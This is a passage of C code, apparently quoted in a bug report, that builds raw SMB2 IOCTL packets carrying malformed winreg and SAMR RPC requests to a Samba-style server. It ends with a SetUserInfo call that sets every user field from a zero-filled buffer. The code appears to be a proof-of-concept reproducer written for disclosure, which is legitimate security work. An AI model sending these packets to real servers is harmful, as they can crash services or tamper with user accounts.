// offset > ii += 4; > *(int*)(buf+ii) = 2; // length > ii += 4; > buf[ii++] = 'd'; > buf[ii++] = 0; > buf[ii++] = 0; > buf[ii++] = 0; > > ii += 128; > > assert(ii+7 <= sizeof(buf)); > > *(short*)(buf+frag_length_i) = ii - rpc_header_i; > *(int*)(buf+count_i) = ii - rpc_header_i; > rpc_seq += 1; > *(short*)(buf+2) = htons(ii-4); // non-inclusive len > > printf("rpc SetJob writing %d bytes\n", ii); fflush(stdout); > > if(write(s, buf, ii) <= 0){ > perror("write"); > } > > if(1){ > unsigned char buf[1024]; > memset(buf, 0, sizeof(buf)); > int cc = readmsg(buf); > printf("read %d for rpc SetJob response\n", cc); > unsigned int status = *(int*)(buf+4+8); > printf("Status: 0x%x\n", status); > unsigned int flags = *(int*)(buf+4+16); > printf("Flags: 0x%x\n", flags); > if(cc > 0 && (flags & 2)){ > // flags & 2 is SMB2_FLAGS_ASYNC_COMMAND > // status = 0x103 is STATUS_PENDING > memset(buf, 0, sizeof(buf)); > cc = readmsg(buf); > printf("2nd cc %d\n", cc); > status = *(int*)(buf+4+8); > printf("2nd status: 0x%x\n", status); > flags = *(int*)(buf+4+16); > printf("2nd flags: 0x%x\n", flags); > } > //for(int i = 0; i < cc; i++) > // printf("%02x ", buf[i] & 0xff); > //printf("\n"); > } >} > >void >smb_ioctl_rpc_CreateKey(int do_sym) >{ > // SMB2 IOCTL, MS-SMB2 2.2.31 > char buf[512]; > memset(buf, 0, sizeof(buf)); > > int ii = header(buf, 0x000B); > > *(short*)(buf+ii) = 57; // StructureSize > ii += 2; > *(short*)(buf+ii) = 0; // Reserved > ii += 2; > *(int*)(buf+ii) = 0x0011c017; // CtlCode FSCTL_PIPE_TRANSCEIVE > ii += 4; > memcpy(buf+ii, file_id, sizeof(file_id)); > ii += 16; > *(int*)(buf+ii) = ii - 4 + 32; // InputOffset > ii += 4; > int count_i = ii; > *(int*)(buf+ii) = 0; // InputCount > ii += 4; > *(int*)(buf+ii) = 512; // MaxInputResponse > ii += 4; > *(int*)(buf+ii) = 0; // OutputOffset > ii += 4; > *(int*)(buf+ii) = 0; // OutputCount > ii += 4; > *(int*)(buf+ii) = 512; // MaxOutputResponse > ii += 4; > *(int*)(buf+ii) = 1; // Flags; 0=ioctl, 1=fsctl > ii += 4; > *(int*)(buf+ii) = 0; // Reserved > ii += 4; > > // DCE RPC connection-oriented reply. > // https://pubs.opengroup.org/onlinepubs/9629399/chap12.htm > int rpc_header_i = ii; > buf[ii++] = 5; // rpc_vers > buf[ii++] = 0; // rpc_vers_minor > buf[ii++] = 0; // 0=request > buf[ii++] = 3; // flags, first and last fragment > buf[ii++] = 0x10; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > int frag_length_i = ii; > *(short*)(buf+ii) = 0; // frag_length > ii += 2; > *(short*)(buf+ii) = 0; // auth_length > ii += 2; > *(int*)(buf+ii) = rpc_seq; > ii += 4; > > *(int*)(buf+ii) = 0; // alloc_hint > ii += 4; > *(short*)(buf+ii) = 0; // p_cont_id > ii += 2; > *(short*)(buf+ii) = 0x06; // opnum 0x06=CreateKey > ii += 2; > > // policy handle > memcpy(buf+ii, winreg_handle, 20); > ii += 20; > > // name String > *(short*)(buf+ii) = 1; // len > ii += 2; > *(short*)(buf+ii) = 1; // size > ii += 2; > *(int*)(buf+ii) = 16; // _ptr_name > ii += 4; > *(int*)(buf+ii) = 2; // array_size > ii += 4; > *(int*)(buf+ii) = 0; // offset > ii += 4; > *(int*)(buf+ii) = 2; // length > ii += 4; > buf[ii++] = 'x'; > buf[ii++] = 0; > buf[ii++] = 0; > buf[ii++] = 0; > > // keyclass String > *(short*)(buf+ii) = 1; // len > ii += 2; > *(short*)(buf+ii) = 1; // size > ii += 2; > *(int*)(buf+ii) = 16; // _ptr_name > ii += 4; > *(int*)(buf+ii) = 2; // array_size > ii += 4; > *(int*)(buf+ii) = 0; // offset > ii += 4; > *(int*)(buf+ii) = 2; // length > ii += 4; > buf[ii++] = 'x'; > buf[ii++] = 0; > buf[ii++] = 0; > buf[ii++] = 0; > > *(int*)(buf+ii) = 0xffffffff; // KeyOptions > ii += 4; > *(int*)(buf+ii) = 0xffffffff; // AccessMask > ii += 4; > *(int*)(buf+ii) = 0; // _ptr_secdesc > ii += 4; > *(int*)(buf+ii) = 4; // _ptr_action_taken > ii += 4; > *(int*)(buf+ii) = 0; // CreateAction > ii += 4; > > ii += 32; > > assert(ii+7 <= sizeof(buf)); > > *(short*)(buf+frag_length_i) = ii - rpc_header_i; > *(int*)(buf+count_i) = ii - rpc_header_i; > rpc_seq += 1; > *(short*)(buf+2) = htons(ii-4); // non-inclusive len > > printf("rpc CreateKey writing %d bytes\n", ii); fflush(stdout); > > if(write(s, buf, ii) <= 0){ > perror("write"); > } > > if(1){ > unsigned char buf[1024]; > memset(buf, 0, sizeof(buf)); > int cc = readmsg(buf); > printf("read %d for rpc CreateKey response\n", cc); > unsigned int status = *(int*)(buf+4+8); > printf("Status: 0x%x\n", status); > unsigned int flags = *(int*)(buf+4+16); > printf("Flags: 0x%x\n", flags); > if(cc > 0 && (flags & 2)){ > // flags & 2 is SMB2_FLAGS_ASYNC_COMMAND > // status = 0x103 is STATUS_PENDING > memset(buf, 0, sizeof(buf)); > cc = readmsg(buf); > printf("2nd cc %d\n", cc); > status = *(int*)(buf+4+8); > printf("2nd status: 0x%x\n", status); > flags = *(int*)(buf+4+16); > printf("2nd flags: 0x%x\n", flags); > } > //for(int i = 0; i < cc; i++) > // printf("%02x ", buf[i] & 0xff); > //printf("\n"); > memcpy(winreg_handle, buf + cc - 24, 20); > printf("winreg_handle: "); > for(int i = 0; i < 20; i++) > printf("%02x ", winreg_handle[i] & 0xff); > printf("\n"); > } >} > >void >smb_ioctl_rpc_QueryMultipleValues2(int do_sym) >{ > // SMB2 IOCTL, MS-SMB2 2.2.31 > char buf[512]; > memset(buf, 0, sizeof(buf)); > > int ii = header(buf, 0x000B); > > *(short*)(buf+ii) = 57; // StructureSize > ii += 2; > *(short*)(buf+ii) = 0; // Reserved > ii += 2; > *(int*)(buf+ii) = 0x0011c017; // CtlCode FSCTL_PIPE_TRANSCEIVE > ii += 4; > memcpy(buf+ii, file_id, sizeof(file_id)); > ii += 16; > *(int*)(buf+ii) = ii - 4 + 32; // InputOffset > ii += 4; > int count_i = ii; > *(int*)(buf+ii) = 0; // InputCount > ii += 4; > *(int*)(buf+ii) = 512; // MaxInputResponse > ii += 4; > *(int*)(buf+ii) = 0; // OutputOffset > ii += 4; > *(int*)(buf+ii) = 0; // OutputCount > ii += 4; > *(int*)(buf+ii) = 512; // MaxOutputResponse > ii += 4; > *(int*)(buf+ii) = 1; // Flags; 0=ioctl, 1=fsctl > ii += 4; > *(int*)(buf+ii) = 0; // Reserved > ii += 4; > > // DCE RPC connection-oriented reply. > // https://pubs.opengroup.org/onlinepubs/9629399/chap12.htm > int rpc_header_i = ii; > buf[ii++] = 5; // rpc_vers > buf[ii++] = 0; // rpc_vers_minor > buf[ii++] = 0; // 0=request > buf[ii++] = 3; // flags, first and last fragment > buf[ii++] = 0x10; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > int frag_length_i = ii; > *(short*)(buf+ii) = 0; // frag_length > ii += 2; > *(short*)(buf+ii) = 0; // auth_length > ii += 2; > *(int*)(buf+ii) = rpc_seq; > ii += 4; > > *(int*)(buf+ii) = 0; // alloc_hint > ii += 4; > *(short*)(buf+ii) = 0; // p_cont_id > ii += 2; > *(short*)(buf+ii) = 0x22; // opnum, 0x22=QueryMultipleValues2 > ii += 2; > > // policy handle > memcpy(buf+ii, winreg_handle, 20); > ii += 20; > > *(int*)(buf+ii) = 1; // size > ii += 4; > *(int*)(buf+ii) = 0; // offset > ii += 4; > *(int*)(buf+ii) = 1; // length > ii += 4; > > // QueryMultipleValue > *(int*)(buf+ii) = 1; // _ptr_ve_valuename > ii += 4; > *(int*)(buf+ii) = 1; // ve_valuelen > ii += 4; > *(int*)(buf+ii) = 1; // ve_valueptr > ii += 4; > *(int*)(buf+ii) = 1; // ve_type > ii += 4; > > // ValNameBuf > *(short*)(buf+ii) = 4; // length > ii += 2; > *(short*)(buf+ii) = 4; // size > ii += 2; > *(int*)(buf+ii) = 16; // _ptr_name > ii += 4; > *(int*)(buf+ii) = 2; // size > ii += 4; > *(int*)(buf+ii) = 0; // offset > ii += 4; > *(int*)(buf+ii) = 2; // length > ii += 4; > buf[ii++] = 'x'; > buf[ii++] = '\0'; > buf[ii++] = '\0'; > buf[ii++] = '\0'; > > *(int*)(buf+ii) = 1; // num_values > ii += 4; > *(int*)(buf+ii) = 1; // _ptr_buffer > ii += 4; > *(int*)(buf+ii) = 1; // size > ii += 4; > *(int*)(buf+ii) = 0; // offset > ii += 4; > *(int*)(buf+ii) = 1; // length > ii += 4; > ii++; > > while(ii % 4) > ii++; > *(int*)(buf+ii) = 1; // offered > ii += 4; > > ii += 32; > > assert(ii+7 <= sizeof(buf)); > > *(short*)(buf+frag_length_i) = ii - rpc_header_i; > *(int*)(buf+count_i) = ii - rpc_header_i; > rpc_seq += 1; > *(short*)(buf+2) = htons(ii-4); // non-inclusive len > > printf("rpc QueryMultipleValues2 writing %d bytes\n", ii); fflush(stdout); > > if(write(s, buf, ii) <= 0){ > perror("write"); > } > > if(1){ > unsigned char buf[1024]; > memset(buf, 0, sizeof(buf)); > int cc = readmsg(buf); > printf("read %d for rpc QueryMultipleValues2 response\n", cc); > unsigned int status = *(int*)(buf+4+8); > printf("Status: 0x%x\n", status); > unsigned int flags = *(int*)(buf+4+16); > printf("Flags: 0x%x\n", flags); > if(cc > 0 && (flags & 2)){ > // flags & 2 is SMB2_FLAGS_ASYNC_COMMAND > // status = 0x103 is STATUS_PENDING > memset(buf, 0, sizeof(buf)); > cc = readmsg(buf); > printf("2nd cc %d\n", cc); > status = *(int*)(buf+4+8); > printf("2nd status: 0x%x\n", status); > flags = *(int*)(buf+4+16); > printf("2nd flags: 0x%x\n", flags); > } > } >} > >char connect_handle[20]; > >void >smb_ioctl_rpc_connect(int do_sym) >{ > // SMB2 IOCTL, MS-SMB2 2.2.31 > char buf[512]; > memset(buf, 0, sizeof(buf)); > > int ii = header(buf, 0x000B); > > *(short*)(buf+ii) = 57; // StructureSize > ii += 2; > *(short*)(buf+ii) = 0; // Reserved > ii += 2; > *(int*)(buf+ii) = 0x0011c017; // CtlCode FSCTL_PIPE_TRANSCEIVE > ii += 4; > memcpy(buf+ii, file_id, sizeof(file_id)); > ii += 16; > *(int*)(buf+ii) = ii - 4 + 32; // InputOffset > ii += 4; > int count_i = ii; > *(int*)(buf+ii) = 0; // InputCount > ii += 4; > *(int*)(buf+ii) = 512; // MaxInputResponse > ii += 4; > *(int*)(buf+ii) = 0; // OutputOffset > ii += 4; > *(int*)(buf+ii) = 0; // OutputCount > ii += 4; > *(int*)(buf+ii) = 512; // MaxOutputResponse > ii += 4; > *(int*)(buf+ii) = 1; // Flags; 0=ioctl, 1=fsctl > ii += 4; > *(int*)(buf+ii) = 0; // Reserved > ii += 4; > > // DCE RPC connection-oriented reply. > // https://pubs.opengroup.org/onlinepubs/9629399/chap12.htm > int rpc_header_i = ii; > buf[ii++] = 5; // rpc_vers > buf[ii++] = 0; // rpc_vers_minor > buf[ii++] = 0; // 0=request > buf[ii++] = 3; // flags, first and last fragment > buf[ii++] = 0x10; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > int frag_length_i = ii; > *(short*)(buf+ii) = 0; // frag_length > ii += 2; > *(short*)(buf+ii) = 0; // auth_length > ii += 2; > *(int*)(buf+ii) = rpc_seq; > ii += 4; > > *(int*)(buf+ii) = 0; // alloc_hint > ii += 4; > *(short*)(buf+ii) = 0; // p_cont_id > ii += 2; > *(short*)(buf+ii) = 0x00; // opnum 00=Connect > ii += 2; > > *(int*)(buf+ii) = 1; // system_name length > ii += 4; > *(short*)(buf+ii) = 1; // system_name length > ii += 2; > ii += 2; // align > *(int*)(buf+ii) = 0xffffffff; // access_mask > ii += 4; > > assert(ii+7 <= sizeof(buf)); > > *(short*)(buf+frag_length_i) = ii - rpc_header_i; > *(int*)(buf+count_i) = ii - rpc_header_i; > rpc_seq += 1; > *(short*)(buf+2) = htons(ii-4); // non-inclusive len > > printf("rpc connect writing %d bytes\n", ii); fflush(stdout); > > if(write(s, buf, ii) <= 0){ > perror("write"); > } > > if(1){ > unsigned char buf[1024]; > memset(buf, 0, sizeof(buf)); > int cc = readmsg(buf); > printf("read %d for rpc connect response\n", cc); > unsigned int status = *(int*)(buf+4+8); > printf("Status: 0x%x\n", status); > unsigned int flags = *(int*)(buf+4+16); > printf("Flags: 0x%x\n", flags); > if(cc > 0 && (flags & 2)){ > // flags & 2 is SMB2_FLAGS_ASYNC_COMMAND > // status = 0x103 is STATUS_PENDING > memset(buf, 0, sizeof(buf)); > cc = readmsg(buf); > printf("2nd cc %d\n", cc); > status = *(int*)(buf+4+8); > printf("2nd status: 0x%x\n", status); > flags = *(int*)(buf+4+16); > printf("2nd flags: 0x%x\n", flags); > } > if(cc > 24 && status == 0){ > memcpy(connect_handle, buf + cc - 24, sizeof(connect_handle)); > printf("connect_handle: "); > for(int i = 0; i < 20; i++) > printf("%02x ", connect_handle[i] & 0xff); > printf("\n"); > } > } >} > >char sid[24]; > >void >smb_ioctl_rpc_lookup_domain(int do_sym) >{ > // SMB2 IOCTL, MS-SMB2 2.2.31 > char buf[512]; > memset(buf, 0, sizeof(buf)); > > int ii = header(buf, 0x000B); > > *(short*)(buf+ii) = 57; // StructureSize > ii += 2; > *(short*)(buf+ii) = 0; // Reserved > ii += 2; > *(int*)(buf+ii) = 0x0011c017; // CtlCode FSCTL_PIPE_TRANSCEIVE > ii += 4; > memcpy(buf+ii, file_id, sizeof(file_id)); > ii += 16; > *(int*)(buf+ii) = ii - 4 + 32; // InputOffset > ii += 4; > int count_i = ii; > *(int*)(buf+ii) = 0; // InputCount > ii += 4; > *(int*)(buf+ii) = 512; // MaxInputResponse > ii += 4; > *(int*)(buf+ii) = 0; // OutputOffset > ii += 4; > *(int*)(buf+ii) = 0; // OutputCount > ii += 4; > *(int*)(buf+ii) = 512; // MaxOutputResponse > ii += 4; > *(int*)(buf+ii) = 1; // Flags; 0=ioctl, 1=fsctl > ii += 4; > *(int*)(buf+ii) = 0; // Reserved > ii += 4; > > // DCE RPC connection-oriented reply. > // https://pubs.opengroup.org/onlinepubs/9629399/chap12.htm > int rpc_header_i = ii; > buf[ii++] = 5; // rpc_vers > buf[ii++] = 0; // rpc_vers_minor > buf[ii++] = 0; // 0=request > buf[ii++] = 3; // flags, first and last fragment > buf[ii++] = 0x10; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > int frag_length_i = ii; > *(short*)(buf+ii) = 0; // frag_length > ii += 2; > *(short*)(buf+ii) = 0; // auth_length > ii += 2; > *(int*)(buf+ii) = rpc_seq; > ii += 4; > > *(int*)(buf+ii) = 0; // alloc_hint > ii += 4; > *(short*)(buf+ii) = 0; // p_cont_id > ii += 2; > *(short*)(buf+ii) = 0x05; // opnum 05=LookupDomain > ii += 2; > > memcpy(buf+ii, connect_handle, 20); > ii += 20; > *(short*)(buf+ii) = 8; // length > ii += 2; > *(short*)(buf+ii) = 8; // size > ii += 2; > *(int*)(buf+ii) = 4; // _ptr_string > ii += 4; > *(int*)(buf+ii) = 4; > ii += 4; > *(int*)(buf+ii) = 0; > ii += 4; > *(int*)(buf+ii) = 4; > ii += 4; > buf[ii++] = 'Z'; > buf[ii++] = '\0'; > buf[ii++] = 'I'; > buf[ii++] = '\0'; > buf[ii++] = 'K'; > buf[ii++] = '\0'; > buf[ii++] = 'A'; > buf[ii++] = '\0'; > > assert(ii+7 <= sizeof(buf)); > > *(short*)(buf+frag_length_i) = ii - rpc_header_i; > *(int*)(buf+count_i) = ii - rpc_header_i; > rpc_seq += 1; > *(short*)(buf+2) = htons(ii-4); // non-inclusive len > > printf("rpc lookup_domain writing %d bytes\n", ii); fflush(stdout); > > if(write(s, buf, ii) <= 0){ > perror("write"); > } > > if(1){ > unsigned char buf[1024]; > memset(buf, 0, sizeof(buf)); > int cc = readmsg(buf); > printf("read %d for rpc lookup_domain response\n", cc); > unsigned int status = *(int*)(buf+4+8); > printf("Status: 0x%x\n", status); > unsigned int flags = *(int*)(buf+4+16); > printf("Flags: 0x%x\n", flags); > if(cc > 0 && (flags & 2)){ > // flags & 2 is SMB2_FLAGS_ASYNC_COMMAND > // status = 0x103 is STATUS_PENDING > memset(buf, 0, sizeof(buf)); > cc = readmsg(buf); > printf("2nd cc %d\n", cc); > status = *(int*)(buf+4+8); > printf("2nd status: 0x%x\n", status); > flags = *(int*)(buf+4+16); > printf("2nd flags: 0x%x\n", flags); > } > if(cc > 28 && status == 0){ > //for(int i = 0; i < cc; i++) > // printf("%02x ", buf[i] & 0xff); > //printf("\n"); > memcpy(sid, buf + cc - 28, 24); > printf("sid: "); > for(int i = 0; i < 24; i++) > printf("%02x ", sid[i] & 0xff); > printf("\n"); > // sid[0] is 1, the version number > // sid[1] is N, the number of sub-authorities > // then size mystery bytes > // then N 32-bit items (sub-authorities) > } > } >} > >char domain_handle[20]; > >void >smb_ioctl_rpc_open_domain(int do_sym) >{ > // SMB2 IOCTL, MS-SMB2 2.2.31 > char buf[512]; > memset(buf, 0, sizeof(buf)); > > int ii = header(buf, 0x000B); > > *(short*)(buf+ii) = 57; // StructureSize > ii += 2; > *(short*)(buf+ii) = 0; // Reserved > ii += 2; > *(int*)(buf+ii) = 0x0011c017; // CtlCode FSCTL_PIPE_TRANSCEIVE > ii += 4; > memcpy(buf+ii, file_id, sizeof(file_id)); > ii += 16; > *(int*)(buf+ii) = ii - 4 + 32; // InputOffset > ii += 4; > int count_i = ii; > *(int*)(buf+ii) = 0; // InputCount > ii += 4; > *(int*)(buf+ii) = 512; // MaxInputResponse > ii += 4; > *(int*)(buf+ii) = 0; // OutputOffset > ii += 4; > *(int*)(buf+ii) = 0; // OutputCount > ii += 4; > *(int*)(buf+ii) = 512; // MaxOutputResponse > ii += 4; > *(int*)(buf+ii) = 1; // Flags; 0=ioctl, 1=fsctl > ii += 4; > *(int*)(buf+ii) = 0; // Reserved > ii += 4; > > // DCE RPC connection-oriented reply. > // https://pubs.opengroup.org/onlinepubs/9629399/chap12.htm > int rpc_header_i = ii; > buf[ii++] = 5; // rpc_vers > buf[ii++] = 0; // rpc_vers_minor > buf[ii++] = 0; // 0=request > buf[ii++] = 3; // flags, first and last fragment > buf[ii++] = 0x10; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > int frag_length_i = ii; > *(short*)(buf+ii) = 0; // frag_length > ii += 2; > *(short*)(buf+ii) = 0; // auth_length > ii += 2; > *(int*)(buf+ii) = rpc_seq; > ii += 4; > > *(int*)(buf+ii) = 0; // alloc_hint > ii += 4; > *(short*)(buf+ii) = 0; // p_cont_id > ii += 2; > *(short*)(buf+ii) = 0x07; // opnum 07=OpenDomain > ii += 2; > > memcpy(buf+ii, connect_handle, 20); > ii += 20; > *(int*)(buf+ii) = 0x200; // access_mask > ii += 4; > > > *(int*)(buf+ii) = 4; // dom_sid2.num_auths > ii += 4; > >#if 1 > memcpy(buf+ii, sid, 24); > ii += 24; >#else > buf[ii++] = 1; // sid_rev_num > buf[ii++] = 1; // num_auths > buf[ii++] = 0; // id_auth > buf[ii++] = 0; > buf[ii++] = 0; > buf[ii++] = 0; > buf[ii++] = 0; > buf[ii++] = 5; > *(int*)(buf+ii) = 32; // sub_auths[0] > ii += 4; >#endif > > assert(ii+7 <= sizeof(buf)); > > *(short*)(buf+frag_length_i) = ii - rpc_header_i; > *(int*)(buf+count_i) = ii - rpc_header_i; > rpc_seq += 1; > *(short*)(buf+2) = htons(ii-4); // non-inclusive len > > printf("rpc open_domain writing %d bytes\n", ii); fflush(stdout); > > if(write(s, buf, ii) <= 0){ > perror("write"); > } > > if(1){ > unsigned char buf[1024]; > memset(buf, 0, sizeof(buf)); > int cc = readmsg(buf); > printf("read %d for rpc open_domain response\n", cc); > unsigned int status = *(int*)(buf+4+8); > printf("Status: 0x%x\n", status); > unsigned int flags = *(int*)(buf+4+16); > printf("Flags: 0x%x\n", flags); > if(cc > 0 && (flags & 2)){ > // flags & 2 is SMB2_FLAGS_ASYNC_COMMAND > // status = 0x103 is STATUS_PENDING > memset(buf, 0, sizeof(buf)); > cc = readmsg(buf); > printf("2nd cc %d\n", cc); > status = *(int*)(buf+4+8); > printf("2nd status: 0x%x\n", status); > flags = *(int*)(buf+4+16); > printf("2nd flags: 0x%x\n", flags); > } > if(cc > 24 && status == 0){ > //for(int i = 0; i < cc; i++) > // printf("%02x ", buf[i] & 0xff); > //printf("\n"); > memcpy(domain_handle, buf + cc - 24, sizeof(domain_handle)); > printf("domain_handle: "); > for(int i = 0; i < 20; i++) > printf("%02x ", domain_handle[i] & 0xff); > printf("\n"); > } > } >} > >char user_handle[20]; > >void >smb_ioctl_rpc_open_user(int do_sym) >{ > // SMB2 IOCTL, MS-SMB2 2.2.31 > char buf[512]; > memset(buf, 0, sizeof(buf)); > > int ii = header(buf, 0x000B); > > *(short*)(buf+ii) = 57; // StructureSize > ii += 2; > *(short*)(buf+ii) = 0; // Reserved > ii += 2; > *(int*)(buf+ii) = 0x0011c017; // CtlCode FSCTL_PIPE_TRANSCEIVE > ii += 4; > memcpy(buf+ii, file_id, sizeof(file_id)); > ii += 16; > *(int*)(buf+ii) = ii - 4 + 32; // InputOffset > ii += 4; > int count_i = ii; > *(int*)(buf+ii) = 0; // InputCount > ii += 4; > *(int*)(buf+ii) = 512; // MaxInputResponse > ii += 4; > *(int*)(buf+ii) = 0; // OutputOffset > ii += 4; > *(int*)(buf+ii) = 0; // OutputCount > ii += 4; > *(int*)(buf+ii) = 512; // MaxOutputResponse > ii += 4; > *(int*)(buf+ii) = 1; // Flags; 0=ioctl, 1=fsctl > ii += 4; > *(int*)(buf+ii) = 0; // Reserved > ii += 4; > > // DCE RPC connection-oriented reply. > // https://pubs.opengroup.org/onlinepubs/9629399/chap12.htm > int rpc_header_i = ii; > buf[ii++] = 5; // rpc_vers > buf[ii++] = 0; // rpc_vers_minor > buf[ii++] = 0; // 0=request > buf[ii++] = 3; // flags, first and last fragment > buf[ii++] = 0x10; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > int frag_length_i = ii; > *(short*)(buf+ii) = 0; // frag_length > ii += 2; > *(short*)(buf+ii) = 0; // auth_length > ii += 2; > *(int*)(buf+ii) = rpc_seq; > ii += 4; > > *(int*)(buf+ii) = 0; // alloc_hint > ii += 4; > *(short*)(buf+ii) = 0; // p_cont_id > ii += 2; > *(short*)(buf+ii) = 0x22; // opnum 22=OpenUser > ii += 2; > > memcpy(buf+ii, domain_handle, 20); > ii += 20; > // *(int*)(buf+ii) = 0xa4; // access_mask > *(int*)(buf+ii) = 0x02000000; // access_mask > ii += 4; > *(int*)(buf+ii) = 1000; // rid, 1000 is user z, tdbdump /usr/rtm/samba4/private/passdb.tdb > ii += 4; > > assert(ii+7 <= sizeof(buf)); > > *(short*)(buf+frag_length_i) = ii - rpc_header_i; > *(int*)(buf+count_i) = ii - rpc_header_i; > rpc_seq += 1; > *(short*)(buf+2) = htons(ii-4); // non-inclusive len > > printf("rpc open_user writing %d bytes\n", ii); fflush(stdout); > > if(write(s, buf, ii) <= 0){ > perror("write"); > } > > if(1){ > unsigned char buf[1024]; > memset(buf, 0, sizeof(buf)); > int cc = readmsg(buf); > printf("read %d for rpc open_user response\n", cc); > unsigned int status = *(int*)(buf+4+8); > printf("Status: 0x%x\n", status); > unsigned int flags = *(int*)(buf+4+16); > printf("Flags: 0x%x\n", flags); > if(cc > 0 && (flags & 2)){ > // flags & 2 is SMB2_FLAGS_ASYNC_COMMAND > // status = 0x103 is STATUS_PENDING > memset(buf, 0, sizeof(buf)); > cc = readmsg(buf); > printf("2nd cc %d\n", cc); > status = *(int*)(buf+4+8); > printf("2nd status: 0x%x\n", status); > flags = *(int*)(buf+4+16); > printf("2nd flags: 0x%x\n", flags); > } > if(cc > 24 && status == 0){ > for(int i = 0; i < cc; i++) > printf("%02x ", buf[i] & 0xff); > printf("\n"); > memcpy(user_handle, buf + cc - 24, sizeof(user_handle)); > printf("user_handle: "); > for(int i = 0; i < 20; i++) > printf("%02x ", user_handle[i] & 0xff); > printf("\n"); > } > } >} > >void >smb_ioctl_rpc_set_user_info(int do_sym) >{ > // SMB2 IOCTL, MS-SMB2 2.2.31 > char buf[512]; > memset(buf, 0, sizeof(buf)); > > int ii = header(buf, 0x000B); > > *(short*)(buf+ii) = 57; // StructureSize > ii += 2; > *(short*)(buf+ii) = 0; // Reserved > ii += 2; > *(int*)(buf+ii) = 0x0011c017; // CtlCode FSCTL_PIPE_TRANSCEIVE > ii += 4; > memcpy(buf+ii, file_id, sizeof(file_id)); > ii += 16; > *(int*)(buf+ii) = ii - 4 + 32; // InputOffset > ii += 4; > int count_i = ii; > *(int*)(buf+ii) = 0; // InputCount > ii += 4; > *(int*)(buf+ii) = 512; // MaxInputResponse > ii += 4; > *(int*)(buf+ii) = 0; // OutputOffset > ii += 4; > *(int*)(buf+ii) = 0; // OutputCount > ii += 4; > *(int*)(buf+ii) = 512; // MaxOutputResponse > ii += 4; > *(int*)(buf+ii) = 1; // Flags; 0=ioctl, 1=fsctl > ii += 4; > *(int*)(buf+ii) = 0; // Reserved > ii += 4; > > // DCE RPC connection-oriented reply. > // https://pubs.opengroup.org/onlinepubs/9629399/chap12.htm > int rpc_header_i = ii; > buf[ii++] = 5; // rpc_vers > buf[ii++] = 0; // rpc_vers_minor > buf[ii++] = 0; // 0=request > buf[ii++] = 3; // flags, first and last fragment > buf[ii++] = 0x10; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > int frag_length_i = ii; > *(short*)(buf+ii) = 0; // frag_length > ii += 2; > *(short*)(buf+ii) = 0; // auth_length > ii += 2; > *(int*)(buf+ii) = rpc_seq; > ii += 4; > > *(int*)(buf+ii) = 0; // alloc_hint > ii += 4; > *(short*)(buf+ii) = 0; // p_cont_id > ii += 2; > *(short*)(buf+ii) = 0x25; // opnum, 0x25=SetUserInfo > ii += 2; > > int userinfo_i = ii; > memcpy(buf+ii, user_handle, sizeof(user_handle)); > ii += sizeof(user_handle); > *(short*)(buf+ii) = 21; // type (UserInfoX), 21=All > ii += 2; > *(short*)(buf+ii) = 21; // type (UserInfoX) > ii += 2; > > *(int*)(buf + userinfo_i + 196) = 0xffffffff; // fields_present > > // enough for UserInfo21 > ii += 256; > > assert(ii+7 <= sizeof(buf)); > > *(short*)(buf+frag_length_i) = ii - rpc_header_i; > *(int*)(buf+count_i) = ii - rpc_header_i; > rpc_seq += 1; > *(short*)(buf+2) = htons(ii-4); // non-inclusive len > > printf("rpc set_user_info writing %d bytes\n", ii); fflush(stdout); > > if(write(s, buf, ii) <= 0){ > perror("write"); > } > > if(1){ > unsigned char buf[1024]; > memset(buf, 0, sizeof(buf)); > int cc = readmsg(buf); > printf("read %d for rpc set_user_info response\n", cc); > unsigned int status = *(int*)(buf+4+8); > printf("Status: 0x%x\n", status); > unsigned int flags = *(int*)(buf+4+16); > printf("Flags: 0x%x\n", flags); > if(cc > 0 && (flags & 2)){ > // flags & 2 is SMB2_FLAGS_ASYNC_COMMAND > // status = 0x103 is STATUS_PENDING > memset(buf, 0, sizeof(buf)); > int cc = readmsg(buf); > printf("2nd cc %d\n", cc); > unsigned int status = *(int*)(buf+4+8); > printf("2nd status: 0x%x\n", status); > unsigned int flags = *(int*)(buf+4+16); > printf("2nd flags: 0x%x\n", flags); > } > } >} > >void >query_directory(int do_sym) >{ > // SMB2 QUERY_DIRECTORY, MS-SMB2 2.2.33 > char buf[128+32]; > memset(buf, 1, sizeof(buf)); > > int ii = header(buf, 0x000E); > int ii0 = ii; > > *(short*)(buf+ii) = 33; // StructureSize > ii += 2; > buf[ii++] = 0x0C; // FileInformationClass > buf[ii++] = 0x00; // Flags > *(int*)(buf+ii) = 0; // FileIndex > ii += 4; > memcpy(buf+ii, file_id, sizeof(file_id)); > ii += 16; > *(short*)(buf+ii) = ii - 4 + 8; // FileNameOffset > ii += 2; > *(short*)(buf+ii) = 6; // FileNameLength > ii += 2; > *(int*)(buf+ii) = 512; // OutputBufferLength > ii += 4; > > buf[ii++] = '*'; > buf[ii++] = 0; > buf[ii++] = '2'; > buf[ii++] = 0; > buf[ii++] = '*'; > buf[ii++] = 0; > > assert(ii <= sizeof(buf)); > > ii = sizeof(buf); > > *(short*)(buf+2) = htons(ii-4); // non-inclusive len > > printf("query_directory writing %d bytes\n", ii); fflush(stdout); > > if(write(s, buf, ii) <= 0){ > perror("write"); > } > > { > unsigned char buf[1024]; > memset(buf, 0, sizeof(buf)); > int cc = readmsg(buf); > printf("read %d for query_directory response\n", cc); > unsigned int status = *(int*)(buf+4+8); > printf("Status: 0x%x\n", status); > } >} > >void >smb_ioctl_rpc_epm_Map(int do_sym) >{ > // SMB2 IOCTL, MS-SMB2 2.2.31 > char buf[1024]; > memset(buf, 0, sizeof(buf)); > > int ii = header(buf, 0x000B); > > *(short*)(buf+ii) = 